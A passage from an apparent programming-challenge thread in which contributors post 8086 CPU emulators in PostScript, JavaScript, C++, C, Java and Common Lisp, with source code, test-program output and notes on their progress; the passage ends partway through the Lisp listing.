}\n/XCHG{3 2 roll pop 2 copy exch * 4 2 roll * stor }\n/AXCH{w dup AX XCHG }\n/NOP{ NULL nul }\n/pMOV{D{exch}repeat pop }\n/mMOV{ 3 1 roll pop pop }\n/MOV{ }\n/LEA{w mrm decreg RMTAB MOD get RM get exec }\n/CBW{dup 16#80 and 0 ne {16#ff xor 1 add 16#ffff xor 1 add } if }\n/CWD{dup 16#8000 and 0 ne {16#ffff xor 1 add neg } if }\n/CALL{w xp /xp{}def fetchw IP PUSH storew IP dup *w 3 2 roll add dsp /dsp{}def }\n%/WAIT{ }\n/PUSHF{NULL dup flagw storew 2 copy PUSH }\n/POPF{NULL dup POP *w wflag }\n%/SAHF{ }\n%/LAHF{ }\n%/MOVS{ }\n%/CMPS{ }\n%/STOS{ }\n%/LODS{ }\n%/SCAS{ }\n/RET{w IP POP storew SP dup * 3 2 roll add }\n%/LES{ }\n%/LDS{ }\n/JMP{IP dup fetchw exch *w add}\n/sJMP{IP dup fetchb bw exch *w add}\n/HLT{exit}\n/CMC{/CF CF 1 xor def NULL nul}\n/CLC{/CF 0 def NULL nul}\n/STC{/CF 1 def NULL nul}\n/NOT{not logflags }\n/NEG{neg logflags }\n/GRP1TAB{TEST --- NOT NEG MUL IMUL DIV IDIV } cvlit\n/Grp1{mrm decrm dup * GRP1TAB REG get\ndup ==\nexec }\n/GRP2TAB{INC DEC {id CALL}{l id CALL}{id JMP}{l id JMP} PUSH --- } cvlit\n/Grp2{mrm decrm GRP2TAB REG get\ndup ==\nexec }\n%optab shortcuts\n/2*{exch * exch *}\n/rm{mrm decreg decrm D index 3 1 roll 2*} % fetch,decode mrm -> dest *reg *r-m\n/rmp{mrm decreg decrm D index 3 1 roll} % fetch,decode mrm -> dest reg r-m\n/ia{ {{AL dup *b fetchb}{AX dup *w fetchw}}W get exec } %immed to accumulator\n/is{/W 2 def}\n/b{/W 0 def} %select byte operation\n/w{/W 1 def} %select word operation\n/t{/D 1 def} %dest = reg\n/f{/D 0 def} %dest = r/m\n/xp{} /dsp{}\n%/far{ /xp { <0000> PUSH storew } /dsp { fetchw pop } def }\n/i{ {fetchb fetchw}W get exec }\n/OPTAB{\n{b f rm ADD}{w f rm ADD}{b t rm ADD}{w t rm ADD}{b ia ADD}{w ia ADD}{ES PUSH}{ES POP} %00-07\n {b f rm OR}{w f rm OR}{b t rm OR}{w t rm OR}{b ia OR}{w ia OR}{CS PUSH}{} %08-0F\n{b f rm ADC}{w f rm ADC}{b t rm ADC}{w t rm ADC}{b ia ADC}{w ia ADC}{SS PUSH}{SS POP} %10-17\n {b f rm SBB}{w f rm SBB}{b t rm SBB}{w t rm SBB}{b ia SBB}{w ia SBB}{DS PUSH}{DS POP}%18-1F\n{b f rm AND}{w f rm AND}{b t rm AND}{w t rm AND}{b ia AND}{w ia AND}{ES SEG}{DAA} %20-27\n {b f rm SUB}{w f rm SUB}{b t rm SUB}{w t rm SUB}{b ia SUB}{w ia SUB}{CS SEG}{DAS} %28-2F\n{b f rm XOR}{w f rm XOR}{b t rm XOR}{w t rm XOR}{b ia XOR}{w ia XOR}{SS SEG}{AAA} %30-37\n {b f rm CMP}{w f rm CMP}{b t rm CMP}{w t rm CMP}{b ia CMP}{w ia CMP}{DS SEG}{AAS} %38-3F\n{w AX INC}{w CX INC}{w DX INC}{w BX INC}{w SP INC}{w BP INC}{w SI INC}{w DI INC} %40-47\n {w AX DEC}{w CX DEC}{w DX DEC}{w BX DEC}{w SP DEC}{w BP DEC}{w SI DEC}{w DI DEC} %48-4F\n{AX PUSH}{CX PUSH}{DX PUSH}{BX PUSH}{SP PUSH}{BP PUSH}{SI PUSH}{DI PUSH} %50-57\n {AX POP}{CX POP}{DX POP}{BX POP}{SP POP}{BP POP}{SI POP}{DI POP} %58-5F\n{}{}{}{}{}{}{}{} {}{}{}{}{}{}{}{} %60-6F\n{JO}{JNO}{JB}{JNB}{JZ}{JNZ}{JBE}{JNBE} {JS}{JNS}{JP}{JNP}{JL}{JNL}{JLE}{JNLE} %70-7F\n{b f immed}{w f immed}{b f immed}{is f immed}{b TEST}{w TEST}{b rmp XCHG}{w rmp XCHG} %80-87\n {b f rm pMOV}{w f rm pMOV}{b t rm pMOV}{w t rm pMOV} %88-8B\n {sr f rm pMOV}{LEA}{sr t rm pMOV}{w mrm decrm POP} %8C-8F\n{NOP}{CX AXCH}{DX AXCH}{BX AXCHG}{SP AXCH}{BP AXCH}{SI AXCH}{DI AXCH} %90-97\n {CBW}{CWD}{far CALL}{WAIT}{PUSHF}{POPF}{SAHF}{LAHF} %98-9F\n{b AL m MOV}{w AX m MOV}{b m AL MOV}{b AX m MOV}{MOVS}{MOVS}{CMPS}{CMPS} %A0-A7\n {b i a TEST}{w i a TEST}{STOS}{STOS}{LODS}{LODS}{SCAS}{SCAS} %A8-AF\n{b AL i MOV}{b CL i MOV}{b DL i MOV}{b BL i MOV} %B0-B3\n {b AH i MOV}{b CH i MOV}{b DH i MOV}{b BH i MOV} %B4-B7\n {w AX i MOV}{w CX i MOV}{w DX i MOV}{w BX i MOV} %B8-BB\n {w SP i MOV}{w BP i MOV}{w SI i MOV}{w DI i MOV} %BC-BF\n{}{}{fetchw RET}{0 RET}{LES}{LDS}{b f rm i mMOV}{w f rm i mMOV} %C0-B7\n {}{}{fetchw RET}{0 RET}{3 INT}{fetchb INT}{INTO}{IRET} %C8-CF\n{b Shift}{w Shift}{b v Shift}{w v Shift}{AAM}{AAD}{}{XLAT} %D0-D7\n {0 ESC}{1 ESC}{2 ESC}{3 ESC}{4 ESC}{5 ESC}{6 ESC}{7 ESC} %D8-DF\n{LOOPNZ}{LOOPZ}{LOOP}{JCXZ}{b IN}{w IN}{b OUT}{w OUT} %E0-E7\n {CALL}{JMP}{far JMP}{sJMP}{v b IN}{v w IN}{v b OUT}{v w OUT} %E8-EF\n{LOCK}{}{REP}{z REP}{HLT}{CMC}{b Grp1}{w Grp} %F0-F7\n {CLC}{STC}{CLI}{STI}{CLD}{STD}{b Grp2}{w Grp2} %F8-FF\n}cvlit\n/break{ /hook /pause load def }\n/c{ /hook {} def }\n/doprompt{\n (\\nbreak>)print\n flush(%lineedit)(r)file\n cvx {exec}stopped pop }\n/pause{ doprompt }\n/hook{}\n/stdout(%stdout)(w)file\n/bytedump{ <00> dup 0 3 index put stdout exch writehexstring ( )print }\n/regdump{ REGTAB 1 get{ stdout exch writehexstring ( )print }forall\n stdout IP writehexstring ( )print\n {(NC )(CA )}CF get print\n {(NO )(OV )}OF get print\n {(NS )(SN )}SF get print\n {(NZ )(ZR )}ZF get print\n stdout 16#1d3 w memptr writehexstring\n (\\n)print\n}\n/mainloop{{\n %regdump\n OPTAB fetchb get\n dup ==\n exec\n %pstack flush\n %hook\n stor\n /ic ic 1 add def ictime\n}loop}\n/printvideo{\n 0 1 28 {\n 80 mul 16#8000 add mem exch 80 getinterval {\n dup 0 eq { pop 32 } if\n dup 32 lt 1 index 126 gt or { pop 46 } if\n stdout exch write\n } forall (\\n)print\n } for\n (\\n)print\n}\n/ic 0\n/ictime{ic 10 mod 0 eq {onq} if}\n/timeq 10\n/onq{ %printvideo\n}\n>>begin\ncurrentdict{dup type/arraytype eq 1 index xcheck and\n {bind def}{pop pop}ifelse}forall\nSP 16#100 storew\n(codegolf.8086)(r)file mem readstring pop\npop[\nmainloop\nprintvideo\n%eof\n```\nAnd the output (with the tail-end of abbreviated debugging output). \n```\n75 {JNZ}\n19 43 {w BX INC}\n83 {is f immed}\nfb 64 CMP\n76 {JBE}\nda f4 {HLT}\n.........\nHello, world!\n0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\n################################################################################\n## ##\n## 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 ##\n## ##\n## 0 1 4 9 16 25 36 49 64 81 100 121 144 169 196 225 256 289 324 361 400 ##\n## ##\n## 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n## ##\n################################################################################\nGS<1>\n```\n[Answer]\n**Javascript**\nI am writing a 486 emulator in javascript inspired by jslinux.\nIf I had known how much work it would be, I would probably never have started, but now I want to finish it.\nThen I came across your challenge and was very happy to have a 8086 program to test with.\n![https://i.stack.imgur.com/54a6S.png](https://i.stack.imgur.com/Whyvv.png)\nYou can \"see\" it run live here: \nI had one issue when printing out the graphics buffer.\nWhere there should be spaces, the memory contains \"00\" elements. Is it correct to interpret \"0x00\" as space or do I have a bug in my emulator?\nCheers,\nJohannes\n[Answer]\n# C++\nI would like to submit our entry for this code challenge. It was written in c++ and runs the test program perfectly. We have implemented 90% of One Byte Op Codes and Basic Segmentation(some disabled because it does not work with the test program).\nProgram Write Up:\n\nYou can find the code in a zip file at the end of the Blog Post.\nScreenshot executing test program:\n![enter image description here](https://i.stack.imgur.com/f9wnZ.png)\nThis took quite a bit of time... if you have any questions or comments then feel free to message me. It was certainly a great exercise in partner programming.\n[Answer]\n# C\nGreat Challenge and my first one. I created an account just because the challenge intrigued me so much. The down side is that I couldn't stop thinking of the challenge when I had real, paying, programming work to do.\nI feel compelled to get a completed 8086 emulation running, but that's another challenge ;-)\nThe code is written in ANSI-C, so just compile/link the .c files together, pass in the codegolf binary, and go.\n[source zipped](https://caprockgames.com/codegolf/codegolf_8086.zip)\n![enter image description here](https://i.stack.imgur.com/ixeWN.png)\n[Answer]\n# C++ - 4455 lines\nAnd no, I didn't just do the question's requirements. I did the ENTIRE 8086, including 16 never-before KNOWN opcodes. reenigne helped with figuring those opcodes out.\n\n[Answer]\n# C++ 1064 lines\nFantastic project. I did an [Intellivision emulator](http://www.intellivision.us/intvgames/nostalgia/nostalgia.php) many years ago, so it was great to flex my bit-banging muscles again.\nAfter about a week's work, I could not have been more excited when this happened:\n```\n.........\n╤╤╤╤╤╤╤╤╤╤╤╤╤╤\n0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\n################################################################################\n########################################################################\n 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n 0 1 4 9 ♠a ♣b ♠c d ♦f ☺h ` §☺b ,♦d E f `♠i ↓♣b 8♠e Y h ↑♦b =☺f `\n 2 3 4 5 6 7 8 9 a ☺a ☻a ♥a ♦a ♣a ♠a aa a b ☺b ☻b ♥b ♦b ♣b ♠b bb b\n c ☺c ☻c ♥c ♦c ♣c ♠c cc c d ☺d ☻d ♥d ♦d ♣d ♠d dd d e ☺e ☻e ♥e ♦e ♣e ♠e\n ee e f ☺f ☻f ♥f ♦f ♣f ♠f ff f g ☺g ☻g ♥g ♦g ♣g ♠g g g h ☺h ☻h ♥\nh ♦h ♣h ♠h hh h i ☺i ☻i ♥i ♦i ♣i ♠i ii i `\n```\nA little debugging later and...SHAZAM!\n![enter image description here](https://i.stack.imgur.com/t2aSC.jpg)\nAlso, I rebuilt the original test program without the 80386 extensions, since I wanted to build my emulator true to the 8086 and not fudge in any extra instructions. Direct link to code here: [Zip file](http://www.manskirtbrewing.com/emu86/emu86.zip).\nOk I'm having too much fun with this. I broke out memory and screen management, and now the screen updates when the screen buffer is written to. I made a video :)\n\nUpdates: First pass of segmenting is in. Very few instructions are actually implemented, but I tested it by moving the CS/DS and SS around, and everything still runs fine.\nAlso added rudimentary interrupt handling. Very rudimentary. But I did implement int 21h to print a string. Added a few lines to the test source and uploaded that as well.\n```\nstart:\n sti\n mov ah, 9\n mov dx, joetext\n int 21h\n...\njoetext:\n db 'This was printed by int 21h$', 0\n```\n![enter image description here](https://i.stack.imgur.com/A06Kx.jpg)\nIf anyone has some fairly simple assembly code that would test the segments out, I'd love to play with it.\nI'm trying to figure out how far I want to take this. Full CPU emulation? VGA mode? Now I'm writing DOSBox.\n12/6: Check it out, VGA mode!\n![enter image description here](https://i.stack.imgur.com/XOidp.png)\n[Answer]\n# Javascript - 4,404 lines\nI stumbled upon this post when researching information for my own emulator. This Codegolf post has been absolutely invaluable to me. The example program and associated assembly made it possible to easily debug and see what was happening.\nThank you!!!\nAnd here is the first version of my Javascript 8086 emulator.\n![Completed run](https://i.stack.imgur.com/EYuxD.png)\nFeatures:\n* All the required opcodes for this challenge plus some extras that were similar enough that they were easy to code\n* Partially functional text mode (80x25) video (no interrupts yet)\n* Functioning stack\n* Basic (non-segmented) memory\n* Pretty decent debugging (gotta have this)\n* Code Page 437 font set loads dynamically from a bitmap representation\n## Demo\nI have a demo online, feel free to play with it an let me know if you find bugs :)\n\nTo run the codegolf program\n1) click on the settings button\n![enter image description here](https://i.stack.imgur.com/5bxRH.png)\n2) then just click load (you can play with debug options here, like stepping through program). The codegolf program is the only one available at the moment, I'm working on getting more online.\n![enter image description here](https://i.stack.imgur.com/6e1C7.png)\n## Source\nFull source here.\n\nI tried to paste the guts of the 8086 emulation here (as suggested by doorknob) but it exceeded the character limit (\"Body is limited to 30000 characters; you entered 158,272\").\nHere is a quick link to the code I was going to paste in here - \n`*Edit - updated for new demo and repo location`\n[Answer]\n# Java\nI had wanted to do this challenge for so long, and I finally took the time to do so. It has been a wonderful experience so far and I'm proud to annonce that I've finally completed it.\n![Test Program Output](https://i.stack.imgur.com/sM7iZ.png)\n## Source\nSource code is available on GitHub at [NeatMonster/Intel8086](https://github.com/NeatMonster/Intel8086). I've tried to document pretty much everything, with the help of the holly [8086 Family User's Manual](https://edge.edx.org/c4x/BITSPilani/EEE231/asset/8086_family_Users_Manual_1_.pdf).\nI intend to implement all the missing opcodes and features, so you might want to check out the [release 1.0](https://github.com/NeatMonster/Intel8086/tree/1.0) for a version with only the ones required for this challenge.\nMany thanks to @copy!\n[Answer]\n# Common Lisp - 580 loc (442 w/o blank lines & comments)\nI used this challenge as an excuse to learn Common Lisp. Here's the result:\n```\n;;; Program settings\n(defparameter *disasm* nil \"Whether to disassemble\")\n(defmacro disasm-instr (on-disasm &body body)\n `(if *disasm*\n ,on-disasm\n (progn ,@body)))\n;;; State variables\n(defparameter *ram* (make-array (* 64 1024) :initial-element 0 :element-type '(unsigned-byte 8)) \"Primary segment\")\n(defparameter *stack* (make-array (* 64 1024) :initial-element 0 :element-type '(unsigned-byte 8)) \"Stack segment\")\n(defparameter *flags* '(:cf 0 :sf 0 :zf 0) \"Flags\")\n(defparameter *registers* '(:ax 0 :bx 0 :cx 0 :dx 0 :bp 0 :sp #x100 :si 0 :di 0) \"Registers\")\n(defparameter *ip* 0 \"Instruction pointer\")\n(defparameter *has-carried* nil \"Whether the last wraparound changed the value\")\n(defparameter *advance* 0 \"Bytes to advance IP by after an operation\")\n;;; Constants\n(defconstant +byte-register-to-word+ '(:al (:ax nil) :ah (:ax t) :bl (:bx nil) :bh (:bx t) :cl (:cx nil) :ch (:cx t) :dl (:dx nil) :dh (:dx t)) \"Mapping from byte registers to word registers\")\n(defconstant +bits-to-register+ '(:ax :cx :dx :bx :sp :bp :si :di) \"Mapping from index to word register\")\n(defconstant +bits-to-byte-register+ '(:al :cl :dl :bl :ah :ch :dh :bh) \"Mapping from index to byte register\")\n;;; Constant mappings\n(defun bits->word-reg (bits)\n (elt +bits-to-register+ bits))\n(defun bits->byte-reg (bits)\n (elt +bits-to-byte-register+ bits))\n(defun address-for-r/m (mod-bits r/m-bits)\n (disasm-instr\n (if (and (= mod-bits #b00) (= r/m-bits #b110))\n (list :disp (peek-at-word))\n (case r/m-bits\n (#b000 (list :base :bx :index :si))\n (#b001 (list :base :bx :index :di))\n (#b010 (list :base :bp :index :si))\n (#b011 (list :base :bp :index :di))\n (#b100 (list :index :si))\n (#b101 (list :index :di))\n (#b110 (list :base :bp))\n (#b111 (list :base :bx))))\n (if (and (= mod-bits #b00) (= r/m-bits #b110))\n (peek-at-word)\n (case r/m-bits\n (#b000 (+ (register :bx) (register :si)))\n (#b001 (+ (register :bx) (register :di)))\n (#b010 (+ (register :bp) (register :si)))\n (#b011 (+ (register :bp) (register :di)))\n (#b100 (register :si))\n (#b101 (register :di))\n (#b110 (register :bp))\n (#b111 (register :bx))))))\n;;; Convenience functions\n(defun reverse-little-endian (low high)\n \"Reverse a little-endian number.\"\n (+ low (ash high 8)))\n(defun negative-p (value is-word)\n (or (if is-word (>= value #x8000) (>= value #x80)) (< value 0)))\n(defun twos-complement (value is-word)\n (if (negative-p value is-word)\n (- (1+ (logxor value (if is-word #xffff #xff))))\n value))\n(defun wrap-carry (value is-word)\n \"Wrap around an carried value.\"\n (let ((carry (if is-word (>= value #x10000) (>= value #x100))))\n (setf *has-carried* carry)\n (if carry\n (if is-word (mod value #x10000) (mod value #x100))\n value)))\n;;; setf-able locations\n(defun register (reg)\n (disasm-instr reg\n (getf *registers* reg)))\n(defun set-reg (reg value)\n (setf (getf *registers* reg) (wrap-carry value t)))\n(defsetf register set-reg)\n(defun byte-register (reg)\n (disasm-instr reg\n (let* ((register-to-word (getf +byte-register-to-word+ reg)) (word (first register-to-word)))\n (if (second register-to-word)\n (ash (register word) -8)\n (logand (register word) #x00ff)))))\n(defun set-byte-reg (reg value)\n (let* ((register-to-word (getf +byte-register-to-word+ reg)) (word (first register-to-word)) (wrapped-value (wrap-carry value nil)))\n (if (second register-to-word)\n (setf (register word) (+ (ash wrapped-value 8) (logand (register word) #x00ff)))\n (setf (register word) (+ wrapped-value (logand (register word) #xff00))))))\n(defsetf byte-register set-byte-reg)\n(defun flag (name)\n (getf *flags* name))\n(defun set-flag (name value)\n (setf (getf *flags* name) value))\n(defsetf flag set-flag)\n(defun flag-p (name)\n (= (flag name) 1))\n(defun set-flag-p (name is-set)\n (setf (flag name) (if is-set 1 0)))\n(defsetf flag-p set-flag-p)\n(defun byte-in-ram (location segment)\n \"Read a byte from a RAM segment.\"\n (elt segment location))\n(defsetf byte-in-ram (location segment) (value)\n \"Write a byte to a RAM segment.\"\n `(setf (elt ,segment ,location) ,value))\n(defun word-in-ram (location segment)\n \"Read a word from a RAM segment.\"\n (reverse-little-endian (elt segment location) (elt segment (1+ location))))\n(defsetf word-in-ram (location segment) (value)\n \"Write a word to a RAM segment.\"\n `(progn\n (setf (elt ,segment ,location) (logand ,value #x00ff))\n (setf (elt ,segment (1+ ,location)) (ash (logand ,value #xff00) -8))))\n(defun indirect-address (mod-bits r/m-bits is-word)\n \"Read from an indirect address.\"\n (disasm-instr\n (if (= mod-bits #b11) (register (if is-word (bits->word-reg r/m-bits) (bits->byte-reg r/m-bits)))\n (let ((base-index (address-for-r/m mod-bits r/m-bits)))\n (unless (getf base-index :disp)\n (setf (getf base-index :disp)\n (case mod-bits\n (#b00 0)\n (#b01 (next-instruction))\n (#b10 (next-word)))))\n base-index))\n (let ((address-base (address-for-r/m mod-bits r/m-bits)))\n (case mod-bits\n (#b00 (if is-word (word-in-ram address-base *ram*) (byte-in-ram address-base *ram*)))\n (#b01 (if is-word (word-in-ram (+ address-base (peek-at-instruction)) *ram*) (byte-in-ram (+ address-base (peek-at-instruction)) *ram*)))\n (#b10 (if is-word (word-in-ram (+ address-base (peek-at-word)) *ram*) (byte-in-ram (+ address-base (peek-at-word)) *ram*)))\n (#b11 (if is-word (register (bits->word-reg r/m-bits)) (byte-register (bits->byte-reg r/m-bits))))))))\n(defsetf indirect-address (mod-bits r/m-bits is-word) (value)\n \"Write to an indirect address.\"\n `(let ((address-base (address-for-r/m ,mod-bits ,r/m-bits)))\n (case ,mod-bits\n (#b00 (if ,is-word (setf (word-in-ram address-base *ram*) ,value) (setf (byte-in-ram address-base *ram*) ,value)))\n (#b01 (if ,is-word (setf (word-in-ram (+ address-base (peek-at-instruction)) *ram*) ,value) (setf (byte-in-ram (+ address-base (peek-at-instruction)) *ram*) ,value)))\n (#b10 (if ,is-word (setf (word-in-ram (+ address-base (peek-at-word)) *ram*) ,value) (setf (byte-in-ram (+ address-base (peek-at-word)) *ram*) ,value)))\n (#b11 (if ,is-word (setf (register (bits->word-reg ,r/m-bits)) ,value) (setf (byte-register (bits->byte-reg ,r/m-bits)) ,value))))))\n;;; Instruction loader\n(defun load-instructions-into-ram (instrs)\n (setf *ip* 0)\n (setf (subseq *ram* 0 #x7fff) instrs)\n (length instrs))\n(defun next-instruction ()\n (incf *ip*)\n (elt *ram* (1- *ip*)))\n(defun next-word ()\n (reverse-little-endian (next-instruction) (next-instruction)))\n(defun peek-at-instruction (&optional (forward 0))\n (incf *advance*)\n (elt *ram* (+ *ip* forward)))\n(defun peek-at-word ()\n (reverse-little-endian (peek-at-instruction) (peek-at-instruction 1)))\n(defun advance-ip ()\n (incf *ip* *advance*)\n (setf *advance* 0))\n(defun advance-ip-ahead-of-indirect-address (mod-bits r/m-bits)\n (cond\n ((or (and (= mod-bits #b00) (= r/m-bits #b110)) (= mod-bits #b10)) 2)\n ((= mod-bits #b01) 1)\n (t 0)))\n(defun next-instruction-ahead-of-indirect-address (mod-bits r/m-bits)\n (let ((*ip* *ip*))\n (incf *ip* (advance-ip-ahead-of-indirect-address mod-bits r/m-bits))\n (incf *advance*)\n (next-instruction)))\n(defun next-word-ahead-of-indirect-address (mod-bits r/m-bits)\n (let ((*ip* *ip*))\n (incf *ip* (advance-ip-ahead-of-indirect-address mod-bits r/m-bits))\n (incf *advance* 2)\n (next-word)))\n;;; Memory access\n(defun read-word-from-ram (loc &optional (segment *ram*))\n (word-in-ram loc segment))\n(defun write-word-to-ram (loc word &optional (segment *ram*))\n (setf (word-in-ram loc segment) word))\n(defun push-to-stack (value)\n (decf (register :sp) 2)\n (write-word-to-ram (register :sp) value *stack*))\n(defun pop-from-stack ()\n (incf (register :sp) 2)\n (read-word-from-ram (- (register :sp) 2) *stack*))\n;;; Flag effects\n(defun set-cf-on-add (value)\n (setf (flag-p :cf) *has-carried*)\n value)\n(defun set-cf-on-sub (value1 value2)\n (setf (flag-p :cf) (> value2 value1))\n (- value1 value2))\n(defun set-sf-on-op (value is-word)\n (setf (flag-p :sf) (negative-p value is-word))\n value)\n(defun set-zf-on-op (value)\n (setf (flag-p :zf) (= value 0))\n value)\n;;; Operations\n;; Context wrappers\n(defun with-one-byte-opcode-register (opcode fn)\n (let ((reg (bits->word-reg (mod opcode #x08))))\n (funcall fn reg)))\n(defmacro with-mod-r/m-byte (&body body)\n `(let* ((mod-r/m (next-instruction)) (r/m-bits (logand mod-r/m #b00000111)) (mod-bits (ash (logand mod-r/m #b11000000) -6)) (reg-bits (ash (logand mod-r/m #b00111000) -3)))\n ,@body))\n(defmacro with-in-place-mod (dest mod-bits r/m-bits &body body)\n `(progn\n ,@body\n (when (equal (car ',dest) 'indirect-address)\n (decf *advance* (advance-ip-ahead-of-indirect-address ,mod-bits ,r/m-bits)))))\n;; Templates\n(defmacro mov (src dest)\n `(disasm-instr (list \"mov\" :src ,src :dest ,dest)\n (setf ,dest ,src)))\n(defmacro xchg (op1 op2)\n `(disasm-instr (list \"xchg\" :op1 ,op1 :op2 ,op2)\n (rotatef ,op1 ,op2)))\n(defmacro inc (op1 is-word)\n `(disasm-instr (list \"inc\" :op1 ,op1)\n (set-sf-on-op (set-zf-on-op (incf ,op1)) ,is-word)))\n(defmacro dec (op1 is-word)\n `(disasm-instr (list \"dec\" :op1 ,op1)\n (set-sf-on-op (set-zf-on-op (decf ,op1)) ,is-word)))\n;; Group handling\n(defmacro parse-group-byte-pair (opcode operation mod-bits r/m-bits)\n `(,operation ,mod-bits ,r/m-bits (oddp ,opcode)))\n(defmacro parse-group-opcode (&body body)\n `(with-mod-r/m-byte\n (case reg-bits\n ,@body)))\n;; One-byte opcodes on registers\n(defun clear-carry-flag ()\n (disasm-instr '(\"clc\")\n (setf (flag-p :cf) nil)))\n(defun set-carry-flag ()\n (disasm-instr '(\"stc\")\n (setf (flag-p :cf) t)))\n(defun push-register (reg)\n (disasm-instr (list \"push\" :src reg)\n (push-to-stack (register reg))))\n(defun pop-to-register (reg)\n (disasm-instr (list \"pop\" :dest reg)\n (setf (register reg) (pop-from-stack))))\n(defun inc-register (reg)\n (inc (register reg) t))\n(defun dec-register (reg)\n (dec (register reg) t))\n(defun xchg-register (reg)\n (disasm-instr (if (eql reg :ax) '(\"nop\") (list \"xchg\" :op1 :ax :op2 reg))\n (xchg (register :ax) (register reg))))\n(defun mov-byte-to-register (opcode)\n (let ((reg (bits->byte-reg (mod opcode #x08))))\n (mov (next-instruction) (byte-register reg))))\n(defun mov-word-to-register (reg)\n (mov (next-word) (register reg)))\n;; Flow control\n(defun jmp-short ()\n (disasm-instr (list \"jmp\" :op1 (twos-complement (next-instruction) nil))\n (incf *ip* (twos-complement (next-instruction) nil))))\n(defmacro jmp-short-conditionally (opcode condition mnemonic)\n `(let ((disp (next-instruction)))\n (if (evenp ,opcode)\n (disasm-instr (list (concatenate 'string \"j\" ,mnemonic) :op1 (twos-complement disp nil))\n (when ,condition\n (incf *ip* (twos-complement disp nil))))\n (disasm-instr (list (concatenate 'string \"jn\" ,mnemonic) :op1 (twos-complement disp nil))\n (unless ,condition\n (incf *ip* (twos-complement disp nil)))))))\n(defun call-near ()\n (disasm-instr (list \"call\" :op1 (twos-complement (next-word) t))\n (push-to-stack (+ *ip* 2))\n (incf *ip* (twos-complement (next-word) t))))\n(defun ret-from-call ()\n (disasm-instr '(\"ret\")\n (setf *ip* (pop-from-stack))))\n;; ALU\n(defmacro parse-alu-opcode (opcode operation)\n `(let ((mod-8 (mod ,opcode 8)))\n (case mod-8\n (0\n (with-mod-r/m-byte\n (,operation (byte-register (bits->byte-reg reg-bits)) (indirect-address mod-bits r/m-bits nil) nil mod-bits r/m-bits)))\n (1\n (with-mod-r/m-byte\n (,operation (register (bits->word-reg reg-bits)) (indirect-address mod-bits r/m-bits t) t mod-bits r/m-bits)))\n (2\n (with-mod-r/m-byte\n (,operation (indirect-address mod-bits r/m-bits nil) (byte-register (bits->byte-reg reg-bits)) nil)))\n (3\n (with-mod-r/m-byte\n (,operation (indirect-address mod-bits r/m-bits t) (register (bits->word-reg reg-bits)) t)))\n (4\n (,operation (next-instruction) (byte-register :al) nil))\n (5\n (,operation (next-word) (register :ax) t)))))\n(defmacro add-without-carry (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"add\" :src ,src :dest ,dest)\n (with-in-place-mod ,dest ,mod-bits ,r/m-bits\n (set-zf-on-op (set-sf-on-op (set-cf-on-add (incf ,dest ,src)) ,is-word)))))\n(defmacro add-with-carry (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"adc\" :src ,src :dest ,dest)\n (with-in-place-mod ,dest ,mod-bits ,r/m-bits\n (set-zf-on-op (set-sf-on-op (set-cf-on-add (incf ,dest (+ ,src (flag :cf)))) ,is-word)))))\n(defmacro sub-without-borrow (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"sub\" :src ,src :dest ,dest)\n (with-in-place-mod ,dest ,mod-bits ,r/m-bits\n (let ((src-value ,src))\n (set-zf-on-op (set-sf-on-op (set-cf-on-sub (+ (decf ,dest src-value) src-value) src-value) ,is-word))))))\n(defmacro sub-with-borrow (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"sbb\" :src ,src :dest ,dest)\n (with-in-place-mod ,dest ,mod-bits ,r/m-bits\n (let ((src-plus-cf (+ ,src (flag :cf))))\n (set-zf-on-op (set-sf-on-op (set-cf-on-sub (+ (decf ,dest src-plus-cf) src-plus-cf) src-plus-cf) ,is-word))))))\n(defmacro cmp-operation (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"cmp\" :src ,src :dest ,dest)\n (set-zf-on-op (set-sf-on-op (set-cf-on-sub ,dest ,src) ,is-word))))\n(defmacro and-operation (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"and\" :src ,src :dest ,dest)\n (with-in-place-mod ,dest ,mod-bits ,r/m-bits\n (set-zf-on-op (set-sf-on-op (setf ,dest (logand ,src ,dest)) ,is-word))\n (setf (flag-p :cf) nil))))\n(defmacro or-operation (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"or\" :src ,src :dest ,dest)\n (with-in-place-mod ,dest ,mod-bits ,r/m-bits\n (set-zf-on-op (set-sf-on-op (setf ,dest (logior ,src ,dest)) ,is-word))\n (setf (flag-p :cf) nil))))\n(defmacro xor-operation (src dest is-word &optional mod-bits r/m-bits)\n `(disasm-instr (list \"xor\" :src ,src :dest ,dest)\n (with-in-place-mod ,dest ,mod-bits ,r/m-bits\n (set-zf-on-op (set-sf-on-op (setf ,dest (logxor ,src ,dest)) ,is-word))\n (setf (flag-p :cf) nil))))\n(defmacro parse-group1-byte (opcode operation mod-bits r/m-bits)\n `(case (mod ,opcode 4)\n (0 (,operation (next-instruction-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits nil) nil mod-bits r/m-bits))\n (1 (,operation (next-word-ahead-of-indirect-address ,mod-bits ,r/m-bits) (indirect-address ,mod-bits ,r/m-bits t) t mod-bits r/m-bits))\n (3 (,operation (twos-complement (next-instruction-ahead-of-indirect-address ,mod-bits ,r/m-bits) nil) (indirect-address ,mod-bits ,r/m-bits t) t mod-bits r/m-bits))))\n(defmacro parse-group1-opcode (opcode)\n `(parse-group-opcode\n (0 (parse-group1-byte ,opcode add-without-carry mod-bits r/m-bits))\n (1 (parse-group1-byte ,opcode or-operation mod-bits r/m-bits))\n (2 (parse-group1-byte ,opcode add-with-carry mod-bits r/m-bits))\n (3 (parse-group1-byte ,opcode sub-with-borrow mod-bits r/m-bits))\n (4 (parse-group1-byte ,opcode and-operation mod-bits r/m-bits))\n (5 (parse-group1-byte ,opcode sub-without-borrow mod-bits r/m-bits))\n 